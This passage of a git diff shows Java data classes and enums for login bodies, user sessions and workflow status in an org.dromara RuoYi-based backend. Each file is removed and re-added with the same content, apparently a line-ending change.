b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserOnlineDTO.java @@ -1,72 +1,72 @@ -package org.dromara.common.core.domain.dto; - -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 当前在线会话 - * - * @author ruoyi - */ - -@Data -@NoArgsConstructor -public class UserOnlineDTO implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 会话编号 - */ - private String tokenId; - - /** - * 部门名称 - */ - private String deptName; - - /** - * 用户名称 - */ - private String userName; - - /** - * 客户端 - */ - private String clientKey; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地址 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 登录时间 - */ - private Long loginTime; - -} +package org.dromara.common.core.domain.dto; + +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 当前在线会话 + * + * @author ruoyi + */ + +@Data +@NoArgsConstructor +public class UserOnlineDTO implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 会话编号 + */ + private String tokenId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 用户名称 + */ + private String userName; + + /** + * 客户端 + */ + private String clientKey; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地址 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 登录时间 + */ + private Long loginTime; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessEvent.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessEvent.java index 61c7efc..6d4d414 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessEvent.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessEvent.java @@ -1,41 +1,41 @@ -package org.dromara.common.core.domain.event; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 总体流程监听 - * - * @author may - */ - -@Data -public class ProcessEvent implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程定义key - */ - private String key; - - /** - * 业务id - */ - private String businessKey; - - /** - * 状态 - */ - private String status; - - /** - * 当为true时为申请人节点办理 - */ - private boolean submit; - - -} +package org.dromara.common.core.domain.event; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 总体流程监听 + * + * @author may + */ + +@Data +public class ProcessEvent implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程定义key + */ + private String key; + + /** + * 业务id + */ + private String businessKey; + + /** + * 状态 + */ + private String status; + + /** + * 当为true时为申请人节点办理 + */ + private boolean submit; + + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessTaskEvent.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessTaskEvent.java index 019ca82..93c1f24 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessTaskEvent.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/event/ProcessTaskEvent.java @@ -1,40 +1,40 @@ -package org.dromara.common.core.domain.event; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 流程办理监听 - * - * @author may - */ - -@Data -public class ProcessTaskEvent implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程定义key - */ - private String key; - - /** - * 审批节点key - */ - private String taskDefinitionKey; - - /** - * 任务id - */ - private String taskId; - - /** - * 业务id - */ - private String businessKey; - -} +package org.dromara.common.core.domain.event; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 流程办理监听 + * + * @author may + */ + +@Data +public class ProcessTaskEvent implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程定义key + */ + private String key; + + /** + * 审批节点key + */ + private String taskDefinitionKey; + + /** + * 任务id + */ + private String taskId; + + /** + * 业务id + */ + private String businessKey; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/EmailLoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/EmailLoginBody.java index ffde8c6..fbfc1ce 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/EmailLoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/EmailLoginBody.java @@ -1,31 +1,31 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.Email; -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * 邮件登录对象 - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -public class EmailLoginBody extends LoginBody { - - /** - * 邮箱 - */ - @NotBlank(message = "{user.email.not.blank}") - @Email(message = "{user.email.not.valid}") - private String email; - - /** - * 邮箱code - */ - @NotBlank(message = "{email.code.not.blank}") - private String emailCode; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.Email; +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; + +/** + * 邮件登录对象 + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +public class EmailLoginBody extends LoginBody { + + /** + * 邮箱 + */ + @NotBlank(message = "{user.email.not.blank}") + @Email(message = "{user.email.not.valid}") + private String email; + + /** + * 邮箱code + */ + @NotBlank(message = "{email.code.not.blank}") + private String emailCode; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginBody.java index 63bee0d..f2a65d7 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginBody.java @@ -1,48 +1,48 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 用户登录对象 - * - * @author Lion Li - */ - -@Data -public class LoginBody implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 客户端id - */ - @NotBlank(message = "{auth.clientid.not.blank}") - private String clientId; - - /** - * 授权类型 - */ - @NotBlank(message = "{auth.grant.type.not.blank}") - private String grantType; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 验证码 - */ - private String code; - - /** - * 唯一标识 - */ - private String uuid; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 用户登录对象 + * + * @author Lion Li + */ + +@Data +public class LoginBody implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 客户端id + */ + @NotBlank(message = "{auth.clientid.not.blank}") + private String clientId; + + /** + * 授权类型 + */ + @NotBlank(message = "{auth.grant.type.not.blank}") + private String grantType; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 验证码 + */ + private String code; + + /** + * 唯一标识 + */ + private String uuid; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginUser.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginUser.java index cad224c..bd01e4e 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginUser.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/LoginUser.java @@ -1,152 +1,152 @@ -package org.dromara.common.core.domain.model; - -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.core.domain.dto.RoleDTO; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; -import java.util.Set; - -/** - * 登录用户身份权限 - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -public class LoginUser implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 租户ID - */ - private String tenantId; - - /** - * 用户ID - */ - private Long userId; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 部门类别编码 - */ - private String deptCategory; - - /** - * 部门名 - */ - private String deptName; - - /** - * 用户唯一标识 - */ - private String token; - - /** - * 用户类型 - */ - private String userType; - - /** - * 登录时间 - */ - private Long loginTime; - - /** - * 过期时间 - */ - private Long expireTime; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地点 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 菜单权限 - */ - private Set menuPermission; - - /** - * 角色权限 - */ - private Set rolePermission; - - /** - * 用户名 - */ - private String username; - - /** - * 用户昵称 - */ - private String nickname; - - /** - * 角色对象 - */ - private List roles; - - /** - * 数据权限 当前角色ID - */ - private Long roleId; - - /** - * 客户端 - */ - private String clientKey; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 身份(1=员工,2=技术,3=客服,4=分图员) - */ - private Integer identity; - - /** - * 获取登录id - */ - public String getLoginId() { - if (userType == null) { - throw new IllegalArgumentException("用户类型不能为空"); - } - if (userId == null) { - throw new IllegalArgumentException("用户ID不能为空"); - } - return userType + ":" + userId; - } - -} +package org.dromara.common.core.domain.model; + +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.core.domain.dto.RoleDTO; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; +import java.util.Set; + +/** + * 登录用户身份权限 + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +public class LoginUser implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 租户ID + */ + private String tenantId; + + /** + * 用户ID + */ + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 部门类别编码 + */ + private String deptCategory; + + /** + * 部门名 + */ + private String deptName; + + /** + * 用户唯一标识 + */ + private String token; + + /** + * 用户类型 + */ + private String userType; + + /** + * 登录时间 + */ + private Long loginTime; + + /** + * 过期时间 + */ + private Long expireTime; + + /** + * 登录IP地址 + */ + private String ipaddr; + + /** + * 登录地点 + */ + private String loginLocation; + + /** + * 浏览器类型 + */ + private String browser; + + /** + * 操作系统 + */ + private String os; + + /** + * 菜单权限 + */ + private Set menuPermission; + + /** + * 角色权限 + */ + private Set rolePermission; + + /** + * 用户名 + */ + private String username; + + /** + * 用户昵称 + */ + private String nickname; + + /** + * 角色对象 + */ + private List roles; + + /** + * 数据权限 当前角色ID + */ + private Long roleId; + + /** + * 客户端 + */ + private String clientKey; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 身份(1=员工,2=技术,3=客服,4=分图员) + */ + private Integer identity; + + /** + * 获取登录id + */ + public String getLoginId() { + if (userType == null) { + throw new IllegalArgumentException("用户类型不能为空"); + } + if (userId == null) { + throw new IllegalArgumentException("用户ID不能为空"); + } + return userType + ":" + userId; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/PasswordLoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/PasswordLoginBody.java index 87d0e8e..6576585 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/PasswordLoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/PasswordLoginBody.java @@ -1,31 +1,31 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.hibernate.validator.constraints.Length; - -/** - * 密码登录对象 - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -public class PasswordLoginBody extends LoginBody { - - /** - * 用户名 - */ - @NotBlank(message = "{user.username.not.blank}") - @Length(min = 2, max = 20, message = "{user.username.length.valid}") - private String username; - - /** - * 用户密码 - */ - @NotBlank(message = "{user.password.not.blank}") - @Length(min = 5, max = 20, message = "{user.password.length.valid}") - private String password; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.hibernate.validator.constraints.Length; + +/** + * 密码登录对象 + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +public class PasswordLoginBody extends LoginBody { + + /** + * 用户名 + */ + @NotBlank(message = "{user.username.not.blank}") + @Length(min = 2, max = 20, message = "{user.username.length.valid}") + private String username; + + /** + * 用户密码 + */ + @NotBlank(message = "{user.password.not.blank}") + @Length(min = 5, max = 20, message = "{user.password.length.valid}") + private String password; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/RegisterBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/RegisterBody.java index 6ea8a76..78d3641 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/RegisterBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/RegisterBody.java @@ -1,33 +1,33 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.hibernate.validator.constraints.Length; - -/** - * 用户注册对象 - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -public class RegisterBody extends LoginBody { - - /** - * 用户名 - */ - @NotBlank(message = "{user.username.not.blank}") - @Length(min = 2, max = 20, message = "{user.username.length.valid}") - private String username; - - /** - * 用户密码 - */ - @NotBlank(message = "{user.password.not.blank}") - @Length(min = 5, max = 20, message = "{user.password.length.valid}") - private String password; - - private String userType; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.hibernate.validator.constraints.Length; + +/** + * 用户注册对象 + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +public class RegisterBody extends LoginBody { + + /** + * 用户名 + */ + @NotBlank(message = "{user.username.not.blank}") + @Length(min = 2, max = 20, message = "{user.username.length.valid}") + private String username; + + /** + * 用户密码 + */ + @NotBlank(message = "{user.password.not.blank}") + @Length(min = 5, max = 20, message = "{user.password.length.valid}") + private String password; + + private String userType; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SmsLoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SmsLoginBody.java index a878348..39af011 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SmsLoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SmsLoginBody.java @@ -1,29 +1,29 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * 短信登录对象 - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -public class SmsLoginBody extends LoginBody { - - /** - * 手机号 - */ - @NotBlank(message = "{user.phonenumber.not.blank}") - private String phonenumber; - - /** - * 短信code - */ - @NotBlank(message = "{sms.code.not.blank}") - private String smsCode; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; + +/** + * 短信登录对象 + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +public class SmsLoginBody extends LoginBody { + + /** + * 手机号 + */ + @NotBlank(message = "{user.phonenumber.not.blank}") + private String phonenumber; + + /** + * 短信code + */ + @NotBlank(message = "{sms.code.not.blank}") + private String smsCode; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SocialLoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SocialLoginBody.java index 0d1b121..a6dac77 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SocialLoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/SocialLoginBody.java @@ -1,35 +1,35 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * 三方登录对象 - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -public class SocialLoginBody extends LoginBody { - - /** - * 第三方登录平台 - */ - @NotBlank(message = "{social.source.not.blank}") - private String source; - - /** - * 第三方登录code - */ - @NotBlank(message = "{social.code.not.blank}") - private String socialCode; - - /** - * 第三方登录socialState - */ - @NotBlank(message = "{social.state.not.blank}") - private String socialState; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; + +/** + * 三方登录对象 + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +public class SocialLoginBody extends LoginBody { + + /** + * 第三方登录平台 + */ + @NotBlank(message = "{social.source.not.blank}") + private String source; + + /** + * 第三方登录code + */ + @NotBlank(message = "{social.code.not.blank}") + private String socialCode; + + /** + * 第三方登录socialState + */ + @NotBlank(message = "{social.state.not.blank}") + private String socialState; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginBody.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginBody.java index 518fe2e..93670e6 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginBody.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginBody.java @@ -1,28 +1,28 @@ -package org.dromara.common.core.domain.model; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import lombok.EqualsAndHashCode; - -/** - * 三方登录对象 - * - * @author Lion Li - */ - -@Data -@EqualsAndHashCode(callSuper = true) -public class XcxLoginBody extends LoginBody { - - /** - * 小程序id(多个小程序时使用) - */ - private String appid; - - /** - * 小程序code - */ - @NotBlank(message = "{xcx.code.not.blank}") - private String xcxCode; - -} +package org.dromara.common.core.domain.model; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import lombok.EqualsAndHashCode; + +/** + * 三方登录对象 + * + * @author Lion Li + */ + +@Data +@EqualsAndHashCode(callSuper = true) +public class XcxLoginBody extends LoginBody { + + /** + * 小程序id(多个小程序时使用) + */ + private String appid; + + /** + * 小程序code + */ + @NotBlank(message = "{xcx.code.not.blank}") + private String xcxCode; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginUser.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginUser.java index e5f3d6c..400616c 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginUser.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/model/XcxLoginUser.java @@ -1,27 +1,27 @@ -package org.dromara.common.core.domain.model; - -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; - -import java.io.Serial; - -/** - * 小程序登录用户身份权限 - * - * @author Lion Li - */ -@Data -@EqualsAndHashCode(callSuper = true) -@NoArgsConstructor -public class XcxLoginUser extends LoginUser { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * openid - */ - private String openid; - -} +package org.dromara.common.core.domain.model; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +import java.io.Serial; + +/** + * 小程序登录用户身份权限 + * + * @author Lion Li + */ +@Data +@EqualsAndHashCode(callSuper = true) +@NoArgsConstructor +public class XcxLoginUser extends LoginUser { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * openid + */ + private String openid; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/BusinessStatusEnum.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/BusinessStatusEnum.java index 0af943a..fdbca84 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/BusinessStatusEnum.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/BusinessStatusEnum.java @@ -1,152 +1,152 @@ -package org.dromara.common.core.enums; - -import cn.hutool.core.util.StrUtil; -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.StringUtils; - -import java.util.Arrays; - -/** - * 业务状态枚举 - * - * @author may - */ -@Getter -@AllArgsConstructor -public enum BusinessStatusEnum { - /** - * 已撤销 - */ - CANCEL("cancel", "已撤销"), - /** - * 草稿 - */ - DRAFT("draft", "草稿"), - /** - * 待审核 - */ - WAITING("waiting", "待审核"), - /** - * 已完成 - */ - FINISH("finish", "已完成"), - /** - * 已作废 - */ - INVALID("invalid", "已作废"), - /** - * 已退回 - */ - BACK("back", "已退回"), - /** - * 已终止 - */ - TERMINATION("termination", "已终止"); - - /** - * 状态 - */ - private final String status; - - /** - * 描述 - */ - private final String desc; - - /** - * 获取业务状态 - * - * @param status 状态 - */ - public static String findByStatus(String status) { - if (StringUtils.isBlank(status)) { - return StrUtil.EMPTY; - } - return Arrays.stream(BusinessStatusEnum.values()) - .filter(statusEnum -> statusEnum.getStatus().equals(status)) - .findFirst() - .map(BusinessStatusEnum::getDesc) - .orElse(StrUtil.EMPTY); - } - - /** - * 启动流程校验 - * - * @param status 状态 - */ - public static void checkStartStatus(String status) { - if (WAITING.getStatus().equals(status)) { - throw new ServiceException("该单据已提交过申请,正在审批中!"); - } else if (FINISH.getStatus().equals(status)) { - throw new ServiceException("该单据已完成申请!"); - } else if (INVALID.getStatus().equals(status)) { - throw new ServiceException("该单据已作废!"); - } else if (TERMINATION.getStatus().equals(status)) { - throw new ServiceException("该单据已终止!"); - } else if (StringUtils.isBlank(status)) { - throw new ServiceException("流程状态为空!"); - } - } - - /** - * 撤销流程校验 - * - * @param status 状态 - */ - public static void checkCancelStatus(String status) { - if (CANCEL.getStatus().equals(status)) { - throw new ServiceException("该单据已撤销!"); - } else if (FINISH.getStatus().equals(status)) { - throw new ServiceException("该单据已完成申请!"); - } else if (INVALID.getStatus().equals(status)) { - throw new ServiceException("该单据已作废!"); - } else if (TERMINATION.getStatus().equals(status)) { - throw new ServiceException("该单据已终止!"); - } else if (BACK.getStatus().equals(status)) { - throw new ServiceException("该单据已退回!"); - } else if (StringUtils.isBlank(status)) { - throw new ServiceException("流程状态为空!"); - } - } - - /** - * 驳回流程校验 - * - * @param status 状态 - */ - public static void checkBackStatus(String status) { - if (BACK.getStatus().equals(status)) { - throw new ServiceException("该单据已退回!"); - } else if (FINISH.getStatus().equals(status)) { - throw new ServiceException("该单据已完成申请!"); - } else if (INVALID.getStatus().equals(status)) { - throw new ServiceException("该单据已作废!"); - } else if (TERMINATION.getStatus().equals(status)) { - throw new ServiceException("该单据已终止!"); - } else if (CANCEL.getStatus().equals(status)) { - throw new ServiceException("该单据已撤销!"); - } else if (StringUtils.isBlank(status)) { - throw new ServiceException("流程状态为空!"); - } - } - - /** - * 作废,终止流程校验 - * - * @param status 状态 - */ - public static void checkInvalidStatus(String status) { - if (FINISH.getStatus().equals(status)) { - throw new ServiceException("该单据已完成申请!"); - } else if (INVALID.getStatus().equals(status)) { - throw new ServiceException("该单据已作废!"); - } else if (TERMINATION.getStatus().equals(status)) { - throw new ServiceException("该单据已终止!"); - } else if (StringUtils.isBlank(status)) { - throw new ServiceException("流程状态为空!"); - } - } -} - +package org.dromara.common.core.enums; + +import cn.hutool.core.util.StrUtil; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.StringUtils; + +import java.util.Arrays; + +/** + * 业务状态枚举 + * + * @author may + */ +@Getter +@AllArgsConstructor +public enum BusinessStatusEnum { + /** + * 已撤销 + */ + CANCEL("cancel", "已撤销"), + /** + * 草稿 + */ + DRAFT("draft", "草稿"), + /** + * 待审核 + */ + WAITING("waiting", "待审核"), + /** + * 已完成 + */ + FINISH("finish", "已完成"), + /** + * 已作废 + */ + INVALID("invalid", "已作废"), + /** + * 已退回 + */ + BACK("back", "已退回"), + /** + * 已终止 + */ + TERMINATION("termination", "已终止"); + + /** + * 状态 + */ + private final String status; + + /** + * 描述 + */ + private final String desc; + + /** + * 获取业务状态 + * + * @param status 状态 + */ + public static String findByStatus(String status) { + if (StringUtils.isBlank(status)) { + return StrUtil.EMPTY; + } + return Arrays.stream(BusinessStatusEnum.values()) + .filter(statusEnum -> statusEnum.getStatus().equals(status)) + .findFirst() + .map(BusinessStatusEnum::getDesc) + .orElse(StrUtil.EMPTY); + } + + /** + * 启动流程校验 + * + * @param status 状态 + */ + public static void checkStartStatus(String status) { + if (WAITING.getStatus().equals(status)) { + throw new ServiceException("该单据已提交过申请,正在审批中!"); + } else if (FINISH.getStatus().equals(status)) { + throw new ServiceException("该单据已完成申请!"); + } else if (INVALID.getStatus().equals(status)) { + throw new ServiceException("该单据已作废!"); + } else if (TERMINATION.getStatus().equals(status)) { + throw new ServiceException("该单据已终止!"); + } else if (StringUtils.isBlank(status)) { + throw new ServiceException("流程状态为空!"); + } + } + + /** + * 撤销流程校验 + * + * @param status 状态 + */ + public static void checkCancelStatus(String status) { + if (CANCEL.getStatus().equals(status)) { + throw new ServiceException("该单据已撤销!"); + } else if (FINISH.getStatus().equals(status)) { + throw new ServiceException("该单据已完成申请!"); + } else if (INVALID.getStatus().equals(status)) { + throw new ServiceException("该单据已作废!"); + } else if (TERMINATION.getStatus().equals(status)) { + throw new ServiceException("该单据已终止!"); + } else if (BACK.getStatus().equals(status)) { + throw new ServiceException("该单据已退回!"); + } else if (StringUtils.isBlank(status)) { + throw new ServiceException("流程状态为空!"); + } + } + + /** + * 驳回流程校验 + * + * @param status 状态 + */ + public static void checkBackStatus(String status) { + if (BACK.getStatus().equals(status)) { + throw new ServiceException("该单据已退回!"); + } else if (FINISH.getStatus().equals(status)) { + throw new ServiceException("该单据已完成申请!"); + } else if (INVALID.getStatus().equals(status)) { + throw new ServiceException("该单据已作废!"); + } else if (TERMINATION.getStatus().equals(status)) { + throw new ServiceException("该单据已终止!"); + } else if (CANCEL.getStatus().equals(status)) { + throw new ServiceException("该单据已撤销!"); + } else if (StringUtils.isBlank(status)) { + throw new ServiceException("流程状态为空!"); + } + } + + /** + * 作废,终止流程校验 + * + * @param status 状态 + */ + public static void checkInvalidStatus(String status) { + if (FINISH.getStatus().equals(status)) { + throw new ServiceException("该单据已完成申请!"); + } else if (INVALID.getStatus().equals(status)) { + throw new ServiceException("该单据已作废!"); + } else if (TERMINATION.getStatus().equals(status)) { + throw new ServiceException("该单据已终止!"); + } else if (StringUtils.isBlank(status)) { + throw new ServiceException("流程状态为空!"); + } + } +} + diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/DeviceType.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/DeviceType.java index dbadfc2..2f751b9 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/DeviceType.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/DeviceType.java @@ -1,37 +1,37 @@ -package org.dromara.common.core.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; - -/** - * 设备类型 - * 针对一套 用户体系 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum DeviceType { - - /** - * pc端 - */ - PC("pc"), - - /** - * app端 - */ - APP("app"), - - /** - * 小程序端 - */ - XCX("xcx"), - - /** - * social第三方端 - */ - SOCIAL("social"); - - private final String device; -} +package org.dromara.common.core.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * 设备类型 + * 针对一套 用户体系 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum DeviceType { + + /** + * pc端 + */ + PC("pc"), + + /** + * app端 + */ + APP("app"), + + /** + * 小程序端 + */ + XCX("xcx"), + + /** + * social第三方端 + */ + SOCIAL("social"); + + private final String device; +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/LoginType.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/LoginType.java index f9cac66..3510903 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/LoginType.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/LoginType.java @@ -1,44 +1,44 @@ -package org.dromara.common.core.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; - -/** - * 登录类型 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum LoginType { - - /** - * 密码登录 - */ - PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"), - - /** - * 短信登录 - */ - SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"), - - /** - * 邮箱登录 - */ - EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"), - - /** - * 小程序登录 - */ - XCX("", ""); - - /** - * 登录重试超出限制提示 - */ - final String retryLimitExceed; - - /** - * 登录重试限制计数提示 